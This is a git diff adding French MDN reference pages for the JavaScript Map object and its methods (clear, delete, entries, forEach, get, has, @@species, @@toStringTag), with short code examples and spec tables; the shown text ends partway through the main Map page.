+title: 'get Map[@@species]'
+slug: Web/JavaScript/Reference/Objets_globaux/Map/@@species
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Map
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/@@species
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Map[@@species]</strong></code> renvoie le constructeur <code>Map</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Map[Symbol.species]
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>L'accesseur <code>species</code> renvoie le constructeur par défaut pour les objets <code>Map</code>. Les constructeurs des sous-classes peuvent surcharger ce constructeur afin de modifier ce qui est fait lors de la construction de l'objet et son affectation</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>La propriété <code>species</code> renvoie la fonction correspondant au constructeur par défaut. Pour les objets <code>Map</code>, ce sera le constructeur <code>Map</code> :</p>
+
+<pre class="brush: js">Map[Symbol.species]; // function Map()</pre>
+
+<p>Pour des objets dérivés (par exemple un dictionnaire <code>MaMap</code> que vous auriez construit), la propriété <code>species</code> correspondra au constructeur <code>MaMap</code>. Si vous souhaitez surcharger cela pour renvoyer le constructeur parent <code>Map</code>, vous pourrez utiliser :</p>
+
+<pre class="brush: js">class MaMap extends Map {
+  // On surcharge le symbole species de MaMap
+  // avec le constructeur Map parent
+  static get [Symbol.species]() { return Map; }
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-get-map-@@species', 'get Map [ @@species ]')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-map-@@species', 'get Map [ @@species ]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Map.@@species")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Symbol.species")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/map/@@tostringtag/index.html b/files/fr/web/javascript/reference/objets_globaux/map/@@tostringtag/index.html
new file mode 100644
index 0000000000..f413bff206
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/map/@@tostringtag/index.html
@@ -0,0 +1,57 @@
+---
+title: 'Map.prototype[@@toStringTag]()'
+slug: Web/JavaScript/Reference/Objets_globaux/Map/@@toStringTag
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Map
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/@@toStringTag
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <strong><code>Map[@@toStringTag]</code></strong> vaut "Map" initialement.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-@@tostringtag.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0,0,1)}}</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Map[Symbol.toStringTag]</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush:js">Object.prototype.toString.call(new Map()) // "[object Map]"</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype-@@tostringtag', 'Map.prototype[@@toStringTag]')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype-@@tostringtag', 'Map.prototype[@@toStringTag]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Map.@@toStringTag")}}</p>
diff --git a/files/fr/web/javascript/reference/objets_globaux/map/clear/index.html b/files/fr/web/javascript/reference/objets_globaux/map/clear/index.html
new file mode 100644
index 0000000000..b24da02228
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/map/clear/index.html
@@ -0,0 +1,78 @@
+---
+title: Map.prototype.clear()
+slug: Web/JavaScript/Reference/Objets_globaux/Map/clear
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Map
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/clear
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>clear()</strong></code> supprime tous les éléments d'un objet <code>Map</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-clear.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>maMap</var>.clear();</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Utiliser_la_méthode_clear()">Utiliser la méthode <code>clear()</code></h3>
+
+<pre class="brush: js">var maMap = new Map();
+maMap.set("truc", "bidule");
+maMap.set(1, "toto");
+
+maMap.size;        // 2
+maMap.has("truc"); // true
+
+maMap.clear();
+
+maMap.size;        // 0
+maMap.has("truc")  // false
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype.clear', 'Map.prototype.clear')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.clear', 'Map.prototype.clear')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Map.clear")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/map/delete/index.html b/files/fr/web/javascript/reference/objets_globaux/map/delete/index.html
new file mode 100644
index 0000000000..53ff3fdb23
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/map/delete/index.html
@@ -0,0 +1,77 @@
+---
+title: Map.prototype.delete()
+slug: Web/JavaScript/Reference/Objets_globaux/Map/delete
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Map
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/delete
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>delete()</code></strong> permet de retirer un élément donné d'un objet <code>Map</code> grâce à sa clé.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-delete.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>maMap</var>.delete(clé);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>clé</code></dt>
+ <dd>Ce paramètre obligatoire correspond à la clé de l'élément qu'on souhaite retirer de l'objet <code>Map</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un booléen. La méthode renvoie <code>true</code> si un élément de l'objet <code>Map</code> a bien été retiré ou <code>false</code> si l'élément n'existe pas.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var maMap = new Map();
+maMap.set("truc", "toto");
+
+maMap.delete("truc"); // Renvoie true. La suppression est OK.
+maMap.has("truc");    // Renvoie false. "truc" n'est plus présent.
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype.delete', 'Map.prototype.delete')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.delete', 'Map.prototype.delete')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Map.delete")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/map/entries/index.html b/files/fr/web/javascript/reference/objets_globaux/map/entries/index.html
new file mode 100644
index 0000000000..993b5d9272
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/map/entries/index.html
@@ -0,0 +1,81 @@
+---
+title: Map.prototype.entries()
+slug: Web/JavaScript/Reference/Objets_globaux/Map/entries
+tags:
+  - ECMAScript 2015
+  - Iterator
+  - JavaScript
+  - Map
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/entries
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>entries()</code></strong> renvoie un objet <code><a href="/fr/docs/Web/JavaScript/Guide/iterateurs_et_generateurs#Itérateurs">Iterator</a></code> qui contient les paires <code>[clé, valeur]</code> pour chaque élément de l'objet <code>Map</code>, dans leur ordre d'insertion.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-entries.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>maMap</em>.entries()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvel objet <code>Iterator</code> {{jsxref("Map")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Utiliser_entries()">Utiliser <code>entries()</code></h3>
+
+<pre class="brush:js">var maMap = new Map();
+maMap.set("0", "toto");
+maMap.set(1, "truc");
+maMap.set({}, "bidule");
+
+var mapIter = maMap.entries();
+
+console.log(mapIter.next().value); // ["0", "toto"]
+console.log(mapIter.next().value); // [1, "truc"]
+console.log(mapIter.next().value); // [Object, "bidule"]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype.entries', 'Map.prototype.entries')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Défintion initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.entries', 'Map.prototype.entries')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Map.entries")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Map.prototype.keys()")}}</li>
+ <li>{{jsxref("Map.prototype.values()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/map/foreach/index.html b/files/fr/web/javascript/reference/objets_globaux/map/foreach/index.html
new file mode 100644
index 0000000000..5690c4f53b
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/map/foreach/index.html
@@ -0,0 +1,105 @@
+---
+title: Map.prototype.forEach()
+slug: Web/JavaScript/Reference/Objets_globaux/Map/forEach
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Map
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/forEach
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>forEach()</strong></code> exécute une fonction donnée sur chaque élément clé-valeur de l'objet <code>Map</code> dans l'ordre d'insertion.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-foreach.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>maMap</em>.forEach(<em>callback</em>[, <em>thisArg</em>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>La fonction à exécuter pour chaque élément.</dd>
+ <dt><code>thisArg</code></dt>
+ <dd>La valeur à utiliser comme contexte <code>this</code> lors de l'exécution de <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>{{jsxref("undefined")}}</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>forEach</code> exécute la fonction <code>callback</code> donnée sur chacune des clés qui existe. Elle n'est pas appelée pour les clés qui ont été supprimées. En revanche, elle est appelée pour les valeurs qui sont présentes mais qui sont égales à <code>undefined</code>.</p>
+
+<p><code>callback</code> est appelé avec <strong>trois arguments</strong> :</p>
+
+<ul>
+ <li>la <strong>valeur de l'élément</strong></li>
+ <li>la <strong>clé de l'élément</strong></li>
+ <li>l'objet <strong><code>Map</code> parcouru</strong></li>
+</ul>
+
+<p>Si un argument <code>thisArg</code> est fourni à la méthode <code>forEach</code>, il sera passé au <code>callback</code> quand il sera appelé et celui-ci l'utilisera comme valeur <code>this</code>. Dans les autres cas, la valeur <code>undefined</code> sera utilisée comme contexte <code>this</code>. La valeur <code>this</code> observée par la fonction <code>callback</code> est déterminée selon <a href="/fr/docs/JavaScript/Reference/Opérateurs/Opérateurs_spéciaux/L'opérateur_this">les règles appliquées à l'opérateur <code>this</code></a>.</p>
+
+<p>Chacune des valeurs sera traitée une fois sauf si celle-ci a été supprimée puis réajoutée avant la fin de <code>forEach</code>. <code>callback</code> n'est pas appelé pour les valeurs qui sont supprimés avant le passage de la fonction. Les valeurs qui sont ajoutées avant que <code>forEach</code> ait parcouru l'ensemble seront traitées.</p>
+
+<p><code>forEach</code> exécute la fonction <code>callback</code> une fois pour chaque élément de l'objet <code>Map</code> : il ne renvoie pas de valeur.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Le fragment de code suivant enregistre une ligne pour chaque élément d'un objet<code> Map </code>:</p>
+
+<pre class="brush:js">function logMapElements(valeur, clé, map) {
+    console.log(`map.get('${clé}') = ${value}`);
+}
+
+
+new Map([["toto", 3], ["truc", {}], ["bidule", undefined]]).forEach(logMapElements);
+// affichera dans la console :
+// "map.get('toto') = 3"
+// "map.get('truc') = [object Object]"
+// "map.get('bidule') = undefined"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype.foreach', 'Map.prototype.forEach')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.foreach', 'Map.prototype.forEach')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Map.forEach")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Set.prototype.forEach()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/map/get/index.html b/files/fr/web/javascript/reference/objets_globaux/map/get/index.html
new file mode 100644
index 0000000000..6f1e5dc37e
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/map/get/index.html
@@ -0,0 +1,79 @@
+---
+title: Map.prototype.get()
+slug: Web/JavaScript/Reference/Objets_globaux/Map/get
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Map
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/get
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>get()</strong></code> renvoie un élément précisé d'un objet <code>Map</code>. Si la valeur associée à la clé fournie est un objet, alors on obtient une référence à cet objet et tous changements apporté à cet objet sera aussi visible à l'intérieur de l'objet <code>Map</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-get.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><em>maMap</em>.get(clé)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>clé</code></dt>
+ <dd>La clé de l'élément à renvoyer depuis l'objet <code>Map</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'élément associée à la clé donnée ou {{jsxref("undefined")}} si la clé ne fait pas partie de l'objet <code>Map</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js notranslate">var maMap = new Map();
+maMap.set("truc", "toto");
+
+maMap.get("truc");     // Renvoie "toto".
+maMap.get("machin");   // Renvoie undefined.
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype.get', 'Map.prototype.get')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.get', 'Map.prototype.get')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Map.get")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Map.prototype.set()")}}</li>
+ <li>{{jsxref("Map.prototype.has()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/map/has/index.html b/files/fr/web/javascript/reference/objets_globaux/map/has/index.html
new file mode 100644
index 0000000000..aed14c0662
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/map/has/index.html
@@ -0,0 +1,79 @@
+---
+title: Map.prototype.has()
+slug: Web/JavaScript/Reference/Objets_globaux/Map/has
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Map
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/has
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>has()</strong></code> renvoie un booléen permettant de déterminer si l'objet <code>Map</code> en question contient la clé donnée.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-has.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>maMap</em>.has(clé);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>clé</code></dt>
+ <dd>Ce paramètre obligatoire correspond à la clé dont on veut savoir si elle appartient à l'objet <code>Map</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Cette méthode renvoie un booléen : <code>true</code> si un élément avec cette clé existe au sein de l'objet <code>Map</code> et <code>false</code> sinon.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var maMap = new Map();
+maMap.set("truc", "toto");
+
+maMap.has("truc");  // renvoie true
+maMap.has("machin");// renvoie false
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype.has', 'Map.prototype.has')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.has', 'Map.prototype.has')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Map.has")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Map.prototype.set()")}}</li>
+ <li>{{jsxref("Map.prototype.get()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/map/index.html b/files/fr/web/javascript/reference/objets_globaux/map/index.html
new file mode 100644
index 0000000000..b844416b16
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/map/index.html
@@ -0,0 +1,277 @@
+---
+title: Map
+slug: Web/JavaScript/Reference/Objets_globaux/Map
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Map
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet <strong><code>Map</code></strong> représente un dictionnaire, autrement dit une carte de clés/valeurs. N'importe quelle valeur valable en JavaScript (que ce soit les objets ou les valeurs de types primitifs) peut être utilisée comme clé ou comme valeur.</p>
+
+<p>L'ordre d'insertion des clés est mémorisé dans l'objet et les boucles sur les <code>Map</code> parcourent les clés dans cet ordre.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">new Map([<var>iterable</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>itérable</code></dt>
+ <dd>Un tableau ({{jsxref("Array")}}) ou tout autre objet <a href="/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration#Le_protocole_«_itérable_»">itérable</a> dont les éléments sont des paires clé/valeur (par exemple un tableau de la forme <code>[[1 , "toto"],[2, "truc"]]</code>). Chaque paire clé/valeur sera ajoutée au nouvel objet <code>Map</code>. {{jsxref("null")}} est traité comme {{jsxref("undefined")}}.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Un objet <code>Map</code> permet de retrouver ses éléments dans leur ordre d'insertion. Par exemple, une boucle {{jsxref("Instructions/for...of","for...of")}} renverra un tableau de <code>[clé, valeur]</code> pour chaque itération.</p>
+
+<p>On notera qu'un objet <code>Map</code> contenant des objets ne sera parcouru que dans l'ordre d'insertion de ces objets. Avec ES2015, l'ordre d'itération est fixé pour les objets. Toutefois, pour les versions antérieures d'ECMAScript, cet ordre n'est pas garanti.</p>
+
+<h3 id="Égalité_des_clés">Égalité des clés</h3>
+
+<p>L'égalité des clés est testée avec l'algorithme basé sur <a href="/fr/docs/JavaScript/Les_différents_tests_d_Égalité_comment_les_utiliser#.C3.89galit.C3.A9_de_valeurs">l'égalité de valeurs</a> :</p>
+
+<ul>
+ <li>{{jsxref("NaN")}} est considéré égal à <code>NaN</code> (bien que, pour l'égalité stricte <code>NaN !== NaN</code>)</li>
+ <li>les autres valeurs sont considérées égales au sens de l'égalité stricte (l'opérateur  <code>===</code>).</li>
+</ul>
+
+<p>Dans les versions précédentes des brouillons ECMAScript 2015 (ES6) <code>-0</code> et <code>+0</code> étaient considérés différents (bien que <code>-0 === +0</code>), ceci a été changé dans les versions ultérieures et a été adapté avec Gecko 29 {{geckoRelease("29")}} ({{bug("952870")}}) et une version nocturne de <a href="https://code.google.com/p/v8/issues/detail?id=3069">Chrome</a>.</p>
+
+<h3 id="Comparaison_entre_objets_et_maps">Comparaison entre objets et maps</h3>
+
+<p>Les {{jsxref("Object", "objets","",1)}} sont similaires aux <code>Maps</code>, chacun manipulant des clés associées à des valeurs, récupérant ces valeurs, supprimant des clés... Il n'y avait auparavant pas d'alternatives natives et c'est pourquoi, historiquement, les objets JavaScript ont été utilisés comme des <code>Maps</code>. Malgré tout, il y a des différences importantes entre<code> Objects</code> et <code>Maps</code> qui permettent de distinguer une utilisation des objets <code>Map</code> plus efficace :</p>
+
+<ul>
+ <li>Un <code>Object</code> possède un prototype, certaines clés par défaut peuvent donc entrer en collision avec les clés qu'on souhaite créer. À partir d'ES5, on peut écrire <code>map = </code> {{jsxref("Object.create", "Object.create(null)")}} mais cette formulation est rarement utilisée.</li>
+ <li>Les clés d'une <code>Map</code> sont ordonnées tandis que les clés d'un objet n'ont pas d'ordre particulier. Ainsi, quand on parcourt une <code>Map</code>, on obtient les clés selon leur ordre d'insertion. On notera qu'à partir d'ECMAScript 2015, la spécification pour les objets indique de conserver l'ordre de création pour les clés qui sont des chaînes et des symboles.</li>
+ <li>Les clés d'un <code>Object</code> sont des {{jsxref("String", "chaînes de caractères","",1)}} ou des symboles (cf. {{jsxref("Symbol")}}), alors que pour une <code>Map</code> ça peut être n'importe quelle valeur.</li>
